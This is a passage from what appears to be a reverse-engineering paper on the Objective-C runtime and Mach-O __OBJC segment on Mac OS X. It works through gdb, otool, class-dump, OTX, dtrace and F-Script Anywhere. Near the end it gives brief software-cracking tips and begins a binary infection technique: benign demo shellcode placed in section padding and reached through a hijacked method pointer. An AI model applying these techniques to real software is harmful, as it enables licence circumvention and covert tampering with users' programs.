0x1e78 <-[Fraction setDenominator:]+12>:        mov    DWORD PTR [edx+0x8],eax
```

```
0x1e7b <-[Fraction setDenominator:]+15>:        leave
0x1e7c <-[Fraction setDenominator:]+16>:        ret
```

As you can see from the implementation, this function basically takes a pointer to the instance of our Fraction class, and stores the argument we pass to it at offset 0x8.

```
0x1e5b <-[Fraction setNumerator:]>:     push   ebp
0x1e5c <-[Fraction setNumerator:]+1>:   mov    ebp,esp
0x1e5e <-[Fraction setNumerator:]+3>:   sub    esp,0x8
0x1e61 <-[Fraction setNumerator:]+6>:   mov    edx,DWORD PTR [ebp+0x8]
0x1e64 <-[Fraction setNumerator:]+9>:   mov    eax,DWORD PTR [ebp+0x10]
0x1e67 <-[Fraction setNumerator:]+12>:  mov    DWORD PTR [edx+0x4],eax
0x1e6a <-[Fraction setNumerator:]+15>:  leave
0x1e6b <-[Fraction setNumerator:]+16>:  ret
```

Our setNumerator method is almost identical to this, however it uses offset 0x4 instead this is all pretty straight forward. So what's the ivars pointer that we saw earlier in our objc_class struct for then, you ask?

```
        struct objc_class
        {
           struct objc_class* isa;
           struct objc_class* super_class;
           const char* name;
           long version;
           long info;
           long instance_size;
           struct objc_ivar_list* ivars;
           struct objc_method_list** methodLists;
           struct objc_cache* cache;
           struct objc_protocol_list* protocols;
        };
```

Our ivars pointer (24 bytes in to the objc_class struct) is required because of the reflective properties of the Objective-C language. The ivars pointer basically points to all the information about the instance variables of the class.

We can explore this in gdb, with our Fraction class some more.

First off, let's put a breakpoint on one of our objc_msgSend calls:

```
(gdb) break *0x00001f3b
Breakpoint 2 at 0x1f3b
(gdb) c
Continuing.
```

Once it's hit, we use the stepi command a few times, to populate the registers eax and ecx with the selector and id.

```
Breakpoint 2, 0x00001f3b in main ()
(gdb) stepi
0x00004005 in dyld_stub_objc_msgSend ()
(gdb)
0x94e0c670 in objc_msgSend ()
(gdb)
0x94e0c674 in objc_msgSend ()
```

Now our eax register contains a pointer to our instantiated class.

```
(gdb) x/x $eax
0x103230:       0x00003000
```

We display the first 4 bytes at eax to retrieve the ISA pointer.

Then we dump a bunch of bytes at that address.

```
(gdb) x/10x 0x3000
0x3000 <.objc_class_name_Fraction>:     0x00003040      0xa06e3cc0
0x00001f7e      0x00000000
0x3010 <.objc_class_name_Fraction+16>:  0x00ba4001      0x0000000c
0x000030c4      0x00103240
0x3020 <.objc_class_name_Fraction+32>:  0x001048d0      0x00000000
```

So according to our previous logic, 24 bytes in we should have the ivars pointer. Therefore in this case our ivars pointer is:

```
        0x000030c4
```

Before we continue dumping memory here, lets take a look at the struct definitions for what we're seeing.

The pointer we just found, points to a struct of type "objc_ivar_list" this struct looks like so:

```
struct objc_ivar_list {
    int ivar_count
    /* variable length structure */
    struct objc_ivar ivar_list[1]
}
```

So we can dump the count, trivially in gdb.

```
(gdb) x/x 0x000030c4
0x30c4 <.objc_class_name_Fraction+196>: 0x00000002
```

And see that our Fraction class has 2 ivars. This makes sense, numerator and denominator.

Following our count is an array of objc_ivar structs, one for each instance variable of the class. The definition for this struct is as follows:

```
struct objc_ivar {
    char *ivar_name
    char *ivar_type
    int ivar_offset
}
```

So lets start dumping our ivars and see where it takes us.

```
(gdb)
0x30c8 <.objc_class_name_Fraction+200>: 0x00001fb7 // ivar_name.
(gdb)
0x30cc <.objc_class_name_Fraction+204>: 0x00001fd9 // ivar_type.
(gdb)
0x30d0 <.objc_class_name_Fraction+208>: 0x00000004 // ivar_offset.
```

So if we dump the name and type, we can see that the first instance variable we are looking at is the numerator.

```
(gdb) x/s 0x00001fb7
0x1fb7 <main+286>:       "numerator"
(gdb) x/s 0x00001fd9
0x1fd9 <main+320>:       "i"
```

The "i" in the type string means that we're looking at an integer. The int ivar_offset is set to 0x4. This means that when a Fraction class is allocated, 4 bytes into the allocation we can find the numerator. This matches up with the code in our setNumerator and makes sense.

We can repeat the process with the next element to verify our logic.

```
(gdb)
0x30d4 <.objc_class_name_Fraction+212>: 0x00001fab
(gdb)
```

```
0x30d8 <.objc_class_name_Fraction+216>: 0x00001fd9
(gdb)
0x30dc <.objc_class_name_Fraction+220>: 0x00000008
(gdb) x/s 0x00001fab
0x1fab <main+274>:       "denominator"
(gdb) x/s 0x00001fd9
0x1fd9 <main+320>:       "i"
```

Again, as we can see, the denominator is an integer and is 0x8 bytes offset into the allocation for this object.

Hopefully that makes the Objective-C runtime in memory relatively clear.

------[3.2 - The __OBJC Segment

In this section I will go over how the data mentioned in the previous section is stored inside the Mach-O binary.

I'm going to try and avoid going into the Mach-O format as much as possible. This has already been covered to death, if you need to read about the file format check out [6].

Basically, files containing Objective-C code have an extra Mach-O segment called the __OBJC segment. This segment consists of a bunch of different sections, each containing different information pertinent to the Objective-C runtime.

The output below from the otool -l command shows the sizes/load addresses and flags etc for our __OBJC sections in the hello binary we compiled earlier in the paper.

```
-[dcbz@megatron:~/code/HelloWorld/build]$ otool -l hello

...

Load command 3
      cmd LC_SEGMENT
  cmdsize 668
  segname __OBJC
   vmaddr 0x00003000
   vmsize 0x00001000
  fileoff 8192
 filesize 4096
  maxprot 0x00000007
 initprot 0x00000003
   nsects 9
    flags 0x0
Section
  sectname __class
   segname __OBJC
      addr 0x00003000
      size 0x00000030
    offset 8192
     align 2^5 (32)
    reloff 0
    nreloc 0
     flags 0x00000000
 reserved1 0
 reserved2 0
Section
  sectname __meta_class
   segname __OBJC
      addr 0x00003040
      size 0x00000030
    offset 8256
     align 2^5 (32)
    reloff 0
    nreloc 0
     flags 0x00000000
 reserved1 0
 reserved2 0
Section
  sectname __inst_meth
   segname __OBJC
      addr 0x00003080
      size 0x00000020
    offset 8320
     align 2^5 (32)
    reloff 0
    nreloc 0
     flags 0x00000000
 reserved1 0
 reserved2 0
Section
  sectname __instance_vars
   segname __OBJC
      addr 0x000030a0
      size 0x00000010
    offset 8352
     align 2^2 (4)
    reloff 0
    nreloc 0
     flags 0x00000000
 reserved1 0
 reserved2 0
Section
  sectname __module_info
   segname __OBJC
      addr 0x000030b0
      size 0x00000020
    offset 8368
     align 2^2 (4)
    reloff 0
    nreloc 0
     flags 0x00000000
 reserved1 0
 reserved2 0
Section
  sectname __symbols
   segname __OBJC
      addr 0x000030d0
      size 0x00000010
    offset 8400
     align 2^2 (4)
    reloff 0
    nreloc 0
     flags 0x00000000
 reserved1 0
 reserved2 0
Section
  sectname __message_refs
   segname __OBJC
      addr 0x000030e0
      size 0x00000010
    offset 8416
     align 2^2 (4)
    reloff 0
    nreloc 0
     flags 0x00000005
 reserved1 0
 reserved2 0
Section
  sectname __cls_refs
   segname __OBJC
      addr 0x000030f0
      size 0x00000004
    offset 8432
     align 2^2 (4)
    reloff 0
    nreloc 0
     flags 0x00000000
 reserved1 0
 reserved2 0
Section
  sectname __image_info
   segname __OBJC
      addr 0x000030f4
      size 0x00000008
    offset 8436
     align 2^2 (4)
    reloff 0
    nreloc 0
     flags 0x00000000
 reserved1 0
 reserved2 0
```

This output shows us where in the file itself each section resides. It also shows us where that portion will be mapped into memory in the address space of the process, as well as the size of each mapping.

The first section in the __OBJC segment we will look at is the __class section. To understand this we'll take a quick look at how ida displays this section.

```
__class:00003000 ; ===========================================================================
===
__class:00003000
__class:00003000 ; Segment type: Pure data
__class:00003000 ; Segment alignment '32byte' can not be represented in assembly
__class:00003000 __class         segment para public 'DATA' use32
__class:00003000                 assume cs:__class
__class:00003000                 ;org 3000h
__class:00003000                 public _objc_class_name_Talker
__class:00003000 _objc_class_name_Talker __class_struct <offset stru_3040, offset aNsobject
, offset aTalker, 0,\
__class:00003000                                          ; DATA XREF: __symbols:000030B0o
__class:00003000                                  1, 4, 0, offset dword_3070, 0, 0> ; "NSObj
ect"
__class:00003028                 align 10h
__class:00003028 __class         ends
__class:00003028
```

From IDA's dump of this section (from our hello binary) we can see that this section is pretty much where our objc_class structs are stored.

```
        struct objc_class
        {
           struct objc_class* isa;
           struct objc_class* super_class;
           const char* name;
           long version;
           long info;
           long instance_size;
           struct objc_ivar_list* ivars;
           struct objc_method_list** methodLists;
           struct objc_cache* cache;
           struct objc_protocol_list* protocols;
        };
```

More particularly though, this is where the ISA classes are stored. An interesting note, is that from what I've seen gcc seems to almost always pick 0x3000 for this section. It's pretty reliable to attempt to utilize this area in an exploit if the need arises.

The next section we'll look at is the __meta_class section.

```
__meta_class:00003040 ; ==============================================================
========
__meta_class:00003040
__meta_class:00003040 ; Segment type: Pure data
__meta_class:00003040 ; Segment alignment '32byte' can not be represented in assembly
__meta_class:00003040 __meta_class    segment para public 'DATA' use32
__meta_class:00003040                 assume cs:__meta_class
__meta_class:00003040                 ;org 3040h
__meta_class:00003040 stru_3040       __class_struct <offset aNsobject, offset aNsobject, o
ffset aTalker, 0,\
__meta_class:00003040                                         ; DATA XREF: __class:_objc_cl
ass_name_Talker\030o
__meta_class:00003040                                 2, 30h, 0, 0, 0, 0> ; "NSObject"
__meta_class:00003068                 align 10h
__meta_class:00003068 __meta_class    ends
__meta_class:00003068
```

Again, as you can see this section is filled with objc_class structs.
However this time the structs represent the super_class structs. We can see
that the __class section references this one.

The __inst_meth section (shown below) contains pointers to the various
methods used by the classes. These pointers can be changed to gain control
of execution.

```
__inst_meth:00003070 ; ===============================================================
=======
__inst_meth:00003070
__inst_meth:00003070 ; Segment type: Pure data
__inst_meth:00003070 __inst_meth     segment dword public 'DATA' use32
__inst_meth:00003070                 assume cs:__inst_meth
__inst_meth:00003070                 ;org 3070h
__inst_meth:00003070 dword_3070      dd 0                    ; DATA XREF: __class:_objc_cla
ss_name_Talker\030o
__inst_meth:00003074                 dd 1
__inst_meth:00003078                 dd offset aSay, offset aV12@0@48, offset __Talker_say__
 ; "say:"
__inst_meth:00003078 __inst_meth     ends
__inst_meth:00003078
```

The __message_refs section basically just contains pointers to all the
selectors used throughout the application. The strings themselves are
contained in the __cstring section, however __message_refs contains all the
pointers to them.

```
__message_refs:000030B4 ; =============================================================
==========
__message_refs:000030B4
__message_refs:000030B4 ; Segment type: Pure data
__message_refs:000030B4 __message_refs  segment dword public 'DATA' use32
__message_refs:000030B4                 assume cs:__message_refs
__message_refs:000030B4                 ;org 30B4h
__message_refs:000030B4 off_30B4        dd offset aRelease      ; DATA XREF: _main+68\030o
__message_refs:000030B4                                         ; "release"
__message_refs:000030B8 off_30B8        dd offset aSay          ; DATA XREF: _main+47\030o
__message_refs:000030B8                                         ; "say:"
__message_refs:000030BC off_30BC        dd offset aInit         ; DATA XREF: _main+2D\030o
__message_refs:000030BC                                         ; "init"
__message_refs:000030C0 off_30C0        dd offset aAlloc        ; DATA XREF: _main+17\030o
__message_refs:000030C0 __message_refs  ends                    ; "alloc"
__message_refs:000030C0
```

The __cls_refs section contains pointers to the names of all the classes in
our Application. The strings themselves again are stored in the cstring
section, however the __cls_refs section simply contains an array of

pointers to each of them.

```
__cls_refs:000030C4 ; ==========================================================================
__cls_refs:000030C4
__cls_refs:000030C4 ; Segment type: Regular
__cls_refs:000030C4 __cls_refs      segment dword public '' use32
__cls_refs:000030C4                 assume cs:__cls_refs
__cls_refs:000030C4                 ;org 30C4h
__cls_refs:000030C4                 assume es:nothing, ss:nothing, ds:nothing, fs:nothing,
gs:nothing
__cls_refs:000030C4 unk_30C4        db 0C9h ; +             ; DATA XREF: _main+D\030o
__cls_refs:000030C5                 db  1Fh
__cls_refs:000030C6                 db    0
__cls_refs:000030C7                 db    0
__cls_refs:000030C7 __cls_refs      ends
__cls_refs:000030C7
```

I'm not really sure what the __image_info section is used for. But it's good for us to use in our binary infector. :P

```
__image_info:000030C8 ; ============================================================================
__image_info:000030C8
__image_info:000030C8 ; Segment type: Regular
__image_info:000030C8 __image_info    segment dword public '' use32
__image_info:000030C8                 assume cs:__image_info
__image_info:000030C8                 ;org 30C8h
__image_info:000030C8                 assume es:nothing, ss:nothing, ds:nothing, fs:nothing
, gs:nothing
__image_info:000030C8                 align 10h
__image_info:000030C8 __image_info    ends
__image_info:000030C8
```

One section that was missing from our hello binary but is typically in all Objective-C compiled files is the __instance_vars section.

```
Section
  sectname __instance_vars
   segname __OBJC
      addr 0x000030c4
      size 0x0000001c
    offset 8388
     align 2^2 (4)
    reloff 0
    nreloc 0
     flags 0x00000000
 reserved1 0
 reserved2 0
```

The reason this was omitted from our hello binary is due to the fact that our program has no classes with instance vars. Talker simply had a method which took a string and printed it.

The __instance_vars section holds the ivars structs mentioned at the end of the previous chapter. It begins with a count, and is followed up by an array of objc_ivar structs, as described previously.

```
        struct objc_ivar {
            char *ivar_name
            char *ivar_type
            int ivar_offset
        }
```

I skipped a few of the self explanatory sections like symbols. But hopefully this served as an introduction to the information available to us in the binary. In the next sections we'll look at tools to turn this information into something more human readable.

--[4 - Reverse Engineering Objective-C Applications.

As I'm sure you can imagine having read this far, with such a large variety of information present in the binary and in memory at runtime reverse engineering Objective-C applications is quite a bit easier than their C or C++ counterparts.

In the following section I will run through some of the tools and methods that help out when attempting to reverse engineer Objective-C applications on Mac OSX both on disk and at runtime.

------[4.1 - Static analysis toolset

First up, lets take a look at how we can access the information statically from the disk. There exists a variety of tools which help us with this task.

The first tool, is one we've used previously in this paper, "otool". Otool on Mac OS X is basically the equivalent of objdump on other platforms (NOTE: objdump can obviously be compiled for Mac OS X too.). Otool will not only dump assembly code for particular sections as well as header information for Mach-O files, but it can display our Objective-C information as well.

By using the "-o" flag to otool we can tell it to dump the Objective-C segment in a readable fashion. The output below shows us running this command against our hello binary from earlier.

```
-[dcbz@megatron:~/code/HelloWorld/build]$ otool -o hello
hello:
Objective-C segment
Module 0x30b0
    version 7
       size 16
       name 0x00001fa8
     symtab 0x000030d0
        sel_ref_cnt 0
        refs 0x00000000 (not in an __OBJC section)
        cls_def_cnt 1
        cat_def_cnt 0
        Class Definitions
        defs[0] 0x00003000
                      isa 0x00003040
              super_class 0x00001fa9
                     name 0x00001fb2
                  version 0x00000000
                     info 0x00000001
            instance_size 0x00000008
                    ivars 0x000030a0
                       ivar_count 1
                        ivar_name 0x00001fc6
                        ivar_type 0x00001fde
                      ivar_offset 0x00000004
                  methods 0x00003080
                         obsolete 0x00000000
                     method_count 2
                      method_name 0x00001fc1
                     method_types 0x00001fd4
                       method_imp 0x00001f13
                      method_name 0x00001fb9
                     method_types 0x00001fca
                       method_imp 0x00001f02
                    cache 0x00000000
                protocols 0x00000000 (not in an __OBJC section)
        Meta Class
                      isa 0x00001fa9
              super_class 0x00001fa9
```

```
                     name 0x00001fb2
                  version 0x00000000
                     info 0x00000002
            instance_size 0x00000030
                    ivars 0x00000000 (not in an __OBJC section)
                  methods 0x00000000 (not in an __OBJC section)
                    cache 0x00000000
                protocols 0x00000000 (not in an __OBJC section)
Module 0x30c0
    version 7
       size 16
       name 0x00001fa8
     symtab 0x00002034 (not in an __OBJC section)
Contents of (__OBJC,__image_info) section
  version 0
    flags 0x0 RR
```

As you can see, this output provides us with a variety of information such as the addresses of our class definitions, their ivar count, name and types as well as their offsets into the appropriate section.

Most of the times however, it can be more useful to see a human readable interface description for our binary. This can be arranged using the class-dump tool available from [14].

```
-[dcbz@megatron:~/code/HelloWorld/build]$
/Volumes/class-dump-3.1.2/class-dump hello
/*
 *     Generated by class-dump 3.1.2.
 *
 *     class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2007 by Steve
 *     Nygard.
 */

/*
 * File: hello
 * Arch: Intel 80x86 (i386)
 */

@interface Talker : NSObject
{
}

- (void)say:(char *)fp8;

@end
```

The output above shows class-dump being run against our small hello binary from the previous sections. Our example is pretty tiny though, but it still demonstrates the format in which class-dump will display it's information.

By running this tool against Safari we can get a more clear picture of the kind of information class-dump can give us.

```
/*
 *     Generated by class-dump 3.1.2.
 *
 *     class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2007 by Steve
 *     Nygard.
 */

struct AliasRecord;

struct CGAffineTransform {
    float a;
    float b;
    float c;
    float d;
    float tx;
    float ty;
};

struct CGColor;

struct CGImage;

struct CGPoint {
    float x;
    float y;
};

...

@protocol NSDraggingInfo
- (id)draggingDestinationWindow;
- (unsigned int)draggingSourceOperationMask;
- (struct _NSPoint)draggingLocation;
- (struct _NSPoint)draggedImageLocation;
- (id)draggedImage;
- (id)draggingPasteboard;
- (id)draggingSource;
- (int)draggingSequenceNumber;
- (void)slideDraggedImageTo:(struct _NSPoint)fp8;
- (id)namesOfPromisedFilesDroppedAtDestination:(id)fp8;
@end

...
```

Class-dump is a very valuable tool and definitely one of the first things that I run when trying to understand the purpose of an Objective-C binary.

Back when the earth was flat, and Mac OS X ran mostly on PowerPC architecture Braden started work on a really cool tool called "code-dump". Code-dump was built on top of the class-dump source and rather than just dumping class definitions, it was designed to decompile Objective-C code.

Unfortunately code-dump has never been updated since then, but to me the idea is still very sound. It would be really cool to see some Objective-C support added to Hex-rays in the future. I think you could get some really reliable output with that.

However, until the day arrives when someone bothers working on a real decompiler for intel Objective-C binaries the closest thing we have is called OTX.app. OTX (hosted on one of the coolest domains ever.) [15] is a gui tool for Mac OS X which takes a Mach-O binary as input and then uses otool output to dump an assembly listing. It is capable of querying the Objective-C sections of the binary for information and then populating the assembly with comments.

Let’s take a look at the output from OTX running against the Safari web browser.

```
-(id)[AppController(FileInternal) _closeMenuItem]
+0   00003f70  55                pushl %ebp
+1   00003f71  89e5              movl %esp,%ebp
+3   00003f73  83ec18            subl $0x18,%esp
+6   00003f76  a1cc6c1e00        movl 0x001e6ccc,%eax    _fileMenu
+11  00003f7b  89442404          movl %eax,0x04(%esp)
+15  00003f7f  8b4508            movl 0x08(%ebp),%eax
+18  00003f82  890424            movl %eax,(%esp)
+21  00003f85  e812ee2000        calll 0x00212d9c  -[(%esp,1) _fileMenu]
+26  00003f8a  8b15bc6c1e00      movl 0x001e6cbc,%edx    performClose:
+32  00003f90  c744240800000000 movl $0x00000000,0x08(%esp)
+40  00003f98  8954240c          movl %edx,0x0c(%esp)
+44  00003f9c  8b15c46c1e00      movl 0x001e6cc4,%edx
                                                itemWithTarget:andAction:
```

```
+50  00003fa2  890424           movl %eax,(%esp)
+53  00003fa5  89542404         movl %edx,0x04(%esp)
+57  00003fa9  e8eeed2000       calll 0x00212d9c
                                  -[(%esp,1) itemWithTarget:andAction:]
+62  00003fae  c9               leave
+63  00003faf  c3               ret
```

The comments in the above output are pretty clear, they show the name of the method as well as which method and attribute are being used in the assembly.

Unfortunately, working from a .txt file containing assembly is still pretty painful, these days most people are using IDA pro to navigate an assembly listing. Back when I was first doing this research I wrote an ida python script which would parse the .txt file output from OTX, and steal all the comments, then add them to IDA. It also took the method names and renamed the functions appropriately and added cross refs where appropriate.

Unfortunately I haven't been able to locate this script since I got back from my forced time off :(If I do find it, I'll put it up on felinemenace in case anyone is interested. Thankfully since I've been away it seems a few people have recreated IDC scripts to pull information from the __OBJC segment and populate the IDB.

I'm sure you can google around and find them yourselves, but regardless a couple are available at [16] and [17].

------[4.2 - Runtime analysis toolset

In the previous section we explored how to access the Objective-C information present in the binary without executing it. In this section I will cover how to interact with the Objective-C runtime in the active process in order to understand program flow and assist in reverse engineering.

The first tool we'll look at exists basically in the libobjc.A.dylib library itself. By setting the OBJC_HELP environment variable to anything non-zero and then running an Objective-C application we can see some options that are available to us.

```
% OBJC_HELP=1 ./build/Debug/HelloWorld
objc: OBJC_HELP: describe Objective-C runtime environment variables
objc: OBJC_PRINT_OPTIONS: list which options are set
objc: OBJC_PRINT_IMAGES: log image and library names as the runtime loads
them
objc: OBJC_PRINT_CONNECTION: log progress of class and category connections
objc: OBJC_PRINT_LOAD_METHODS: log class and category +load methods as they
are called
objc: OBJC_PRINT_RTP: log initialization of the Objective-C runtime pages
objc: OBJC_PRINT_GC: log some GC operations
objc: OBJC_PRINT_SHARING: log cross-process memory sharing
objc: OBJC_PRINT_CXX_CTORS: log calls to C++ ctors and dtors for instance
variables
objc: OBJC_DEBUG_UNLOAD: warn about poorly-behaving bundles when unloaded
objc: OBJC_DEBUG_FRAGILE_SUPERCLASSES: warn about subclasses that may have
been broken by subsequent changes to superclasses
objc: OBJC_USE_INTERNAL_ZONE: allocate runtime data in a dedicated malloc
zone
objc: OBJC_ALLOW_INTERPOSING: allow function interposing of objc_msgSend()
objc: OBJC_FORCE_GC: force GC ON, even if the executable wants it off
objc: OBJC_FORCE_NO_GC: force GC OFF, even if the executable wants it on
objc: OBJC_CHECK_FINALIZERS: warn about classes that implement -dealloc but
not -finalize
2006-04-22 12:08:17.544 HelloWorld[4831] Hello, World!
```

This help is pretty self explanatory, in order to utilize each of this functionality you simply set the appropriate environment variable before running your Objective-C application. The runtime does the rest.

Another environment variable which is useful for runtime analysis of Objective-C applications is "NSObjCMessageLoggingEnabled". If this variable is set to "Yes" then all objc_msgSend calls are logged to a file /tmp/msgSends-<pid>. This is also obeyed for suid Objective-C apps and very useful.

The output below demonstrates the use of this variable to log objc_msgSend calls for our "HelloWorld" application.

```
-[dcbz@megatron:~/code/HelloWorld/build]$
NSObjCMessageLoggingEnabled=Yes ./hello
Hello World!
-[dcbz@megatron:~/code/HelloWorld/build]$ cat /tmp/msgSends-6686
+ NSRecursiveLock NSObject initialize
+ NSRecursiveLock NSObject new
+ NSRecursiveLock NSObject alloc
....
+ Talker NSObject initialize
+ Talker NSObject alloc
+ Talker NSObject allocWithZone:
- Talker NSObject init
- Talker Talker say:
- Talker NSObject release
- Talker NSObject dealloc
```

From this output it is easy to see exactly what our application was doing when we ran it.

To take our message tracing functionality further, the "dtrace" application can be used to spy on Objective-C methods and functionality. Taken straight from the dtrace man-page, dtrace supports an Objective-C provider. The syntax for this is as follows:

```
"""
OBJECTIVE C PROVIDER
    The Objective C provider is similar to the pid
    provider, and allows instrumentation of Objective C classes and
    methods. Objective C probe specifiers use the following format:

    objcpid:[class-name[(category-name)]]:[[+|-]method-name]:[name]

    pid  The id number of the process.

    class-name
       The name of the Objective C class.

    category-name
       The name of the category within the Objective C class.

    method-name
       The name of the Objective C method.

    name  The name of the probe, entry, return, or an
          integer instruction offset within the method.

OBJECTIVE C PROVIDER EXAMPLES
    objc123:NSString:-*:entry
       Every instance method of class NSString in process 123.

    objc123:NSString(*)::entry
       Every method on every category of class NSString in process
       123.

    objc123:NSString(foo):+*:entry
       Every class method in NSString's foo category in process 123.
    objc123::-*:entry
       Every instance method in every class and category in process
       123.

    objc123:NSString(foo):-dealloc:entry
       The dealloc method in the foo category of class NSString in
       process 123.

    objc123::method?with?many?colons:entry
       The method method:with:many:colons in every class in
       process 123. (A ? wildcard must be used to match colon
       characters inside of Objective C method names, as they would
       otherwise be parsed as the provider field separators.)
"""
```

This can be used as a message tracer for a particular class. You can even use this to write a simple fuzzer. There are plenty of tutorials out on the interwebz regarding writing .d scripts, and honestly, I’m still very new to it, so I’m going to leave this topic for now.

I’d imagine that most people reading this paper are already pretty familiar with gdb. On Mac OS X, Apple have slightly modified gdb to have better support for Objective-C objects.

The first notable change I can think of is that they’ve added the print-object command:

```
(gdb) help print-object
Ask an Objective-C object to print itself.
```

In order to show an example of this we can fire up gdb on our hello example Objective-C application..

```
-[dcbz@megatron:~/code/HelloWorld/build]$ gdb hello
GNU gdb 6.3.50-20050815 (Apple version gdb-768)
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x00001f3d <main+0>:    push   ebp
0x00001f3e <main+1>:    mov    ebp,esp
0x00001f40 <main+3>:    push   ebx
[...]
0x00001f96 <main+89>:   mov    DWORD PTR [esp+0x4],edx
0x00001f9a <main+93>:   mov    DWORD PTR [esp],ecx
0x00001f9d <main+96>:   call   0x4005 <dyld_stub_objc_msgSend>
0x00001fa2 <main+101>:  mov    edx,DWORD PTR [ebp-0xc]
0x00001fa5 <main+104>:  lea    eax,[ebx+0x116b]
[...]
0x00001fb9 <main+124>:  add    esp,0x24
0x00001fbc <main+127>:  pop    ebx
0x00001fbd <main+128>:  leave
0x00001fbe <main+129>:  ret
End of assembler dump.
```

.. and stick a breakpoint on one of the calls to objc_msgSend() from main().

```
(gdb) b *0x00001f9d
Breakpoint 1 at 0x1f9d
(gdb) r
Starting program: /Users/dcbz/code/HelloWorld/build/hello

Breakpoint 1, 0x00001f9d in main ()
(gdb) stepi
0x00004005 in dyld_stub_objc_msgSend ()
(gdb)
0x94e0c670 in objc_msgSend ()
(gdb)
```

```
0x94e0c674 in objc_msgSend ()
(gdb)
0x94e0c678 in objc_msgSend ()
```

We stepi a few instructions to populate our eax and ecx registers with the selector and id, as we've done previously in this paper.

```
(gdb) po $eax
<Talker: 0x103240>
```

Then use the "po" command on our class pointer, which shows that we have an instance of the Talker class at 0x103240 on the heap.

```
(gdb) x/x $eax
0x103240:       0x00003000
(gdb) po 0x3000
Talker
```

As you can see, if you use the "po" command on an ISA pointer, it simply spits out the name of the class.

Some of the coolest techniques I've seen for manipulating the Objective-C runtime involve injecting an interpreter for the language of your choice into the address space of the running process, and then manipulating the classes in memory from there. None of the implementations of this that I've seen have been anywhere near as cool as F-Script Anywhere [18].

It's hard to explain this tool in .txt format but if you have a Mac you should grab it and check it out. Basically when you run F-Script Anywhere you are presented with a list of all the running Objective-C applications on the system. You can select one and click the install button, to inject the F-Script interpreter into that process.

On Leopard however, before you use this tool, you must set it to sgid procmod. This is due to the debugging restrictions around task_for_pid(). To do this basically just:

```
-[root@megatron:/Applications/F-Script Anywhere.app/Contents/MacOS]$
chgrp procmod F-Script\ Anywhere
-[root@megatron:/Applications/F-Script Anywhere.app/Contents/MacOS]$
chmod g+s F-Script\ Anywhere
```

Once the F-Script interpreter has been injected into your application, a "FSA" menu will appear in the menu bar at the top of your screen. This menu gives you the options:

- New F-Script Workspace.
- Browser for target.

If you select "New F-Script Workspace" you are presented with a small terminal, in which to execute F-Script commands. The F-Script language is very simple and documented on their website [18]. It looks very similar to Objective-C itself. The interpreter window is running in the context of the application itself. Therefore any F-Script statements you make are capable of manipulating the classes etc within the target Objective-C application.

But what if you don't know the name of your class in order to write F-Script to manipulate it? The "Browser" button at the bottom of the terminal will open up an object browser for our target application. Clicking on the "Classes" button at the top of this window will result in a list of all the classes in our address space being listed down the side. Clicking on any of the classes, will bring up all the attributes and methods for a particular class. (Methods are indicated with a colon. ie; "say:"). Double clicking on any of the methods in this window will result in the method being called, if arguments are required a window will pop up prompting you to supply them. This is very useful for exploring and testing the functionality of your target.

Rather than clicking the "New F-Script Workspace" option in our FSA menu, you can select the "Browser for target" option. This will change your cursor into some kind of weird, clover/target/thing. Once this happens, clicking on any object in the gui, will pop up an object browser for the particular instance of the object. This way we can call methods/view attributes/see the address for the class etc.

You can do a lot more with F-Script anywhere, but the best place to learn is from the website [18] itself.

------[4.3 - Cracking

I'm not going to spend too much time on this topic as it's been covered pretty well by curious in [19], and I've published a little bit on it before in [13].

However, when attempting to crack Objective-C apps it's always definitely worth running class-dump before you do anything else, and reading over the output. I can't count the number of times I've seen an application which has a method like createRegistrationKey() which you can call from F-Script Anywhere, or isRegistered() which is easily noppable. With all the Objective-C information at your disposal cracking a majority of applications on Mac OS X becomes quite trivial.

Honestly, lets face it, people writing applications for Mac OS X care about the pretty gui, not the binary protection schemes available.

------[4.4 - Objective-C Binary Infection

Again I won't spend too much time on this section. Dino let me know recently that Vincenzo Iozzo (snagg@openssl.it) did a talk apparently at Deepsec last year on infecting the Objective-C structures in a Mach-O binary. I couldn't find any information on it on google, so i'll release my technique, however if you want to read a (probably much much better technique) then look up Vincenzo's work.

The method I propose is quite simple, it involves looking at the __OBJC segment for any sections with padding, then writing our shellcode into each of them. Then basically overwriting a methods pointer with the address of the start of our shellcode. When the shellcode finishes executing, the original address is called.

While this method is more complicated/convoluted than other Mach-O infection techniques, no attempt to modify the entry point takes place. This makes it harder to detect for the uninitiated.

In order to demonstrate this procedure I wrote the following tiny assembly code.

```
-[dcbz@megatron:~/code]$ cat infected.asm
BITS 32
SECTION .text
_main:
        xor     eax,eax
        push    byte 0xa
        jmp     short down
up:
        push    eax
        mov     al,0x04
        push    eax  ; fake
        int     0x80
        jmp     short end
down:
        call up
db      "infected!",0x0a,0x00
end:
        int3
```

```
-[dcbz@megatron:~/code]$ cat tst.c
char sc[] =
"\x31\xc0\x6a\x0a\xeb\x08\x50\xb0\x04\x50\xcd\x80\xeb\x10\xe8\xf3"
"\xff\xff\xff\x69\x6e\x66\x65\x63\x74\x65\x64\x21\x0a\x00\xcc";

int main(int ac, char **av)
{
        void (*fp)() = sc;
        fp();
}
-[dcbz@megatron:~/code]$ gcc tst.c -o tst
tst.c: In function 'main':
tst.c:7: warning: initialization from incompatible pointer type
-[dcbz@megatron:~/code]$ ./tst
infected!
Trace/BPT trap
```

As you can see when executed this code simply prints the string "infected!\n" using the write() system call.

This will be the parasite code, our poor little HelloWorld project will be the host.

The first step in our infection process is to locate a little slab of space in the file where we can stick our code. Our code is around 30 bytes in length, so we'll need around 36 bytes in order to call the old address as well and complete the hook.

Looking at the first two sections in our OBJC segment, the first has an offset of 8192 and a size of 0x30 the second has an offset of 8256.

```
Section
  sectname __class
   segname __OBJC
      addr 0x00003000
      size 0x00000030
    offset 8192
     align 2^5 (32)
    reloff 0
    nreloc 0
     flags 0x00000000
 reserved1 0
 reserved2 0
Section
  sectname __meta_class
   segname __OBJC
      addr 0x00003040
      size 0x00000030
    offset 8256
     align 2^5 (32)
    reloff 0
    nreloc 0
     flags 0x00000000
 reserved1 0
 reserved2 0
```

If we do the math on the first part:

```
>>> 8192 + 0x30
8240
```

This means there's 16 bytes of padding in the file that we can use to store our code. If needed, however since our code is quite a bit bigger than this it would be painful to squeeze it into the padding here.

Fortunately we can utilize the __OBJC.__image_info section. There is a tone of padding straight after this section.

```
Section
  sectname __image_info
   segname __OBJC
      addr 0x000030c8
      size 0x00000008
    offset 8392
     align 2^2 (4)
    reloff 0
    nreloc 0
     flags 0x00000000
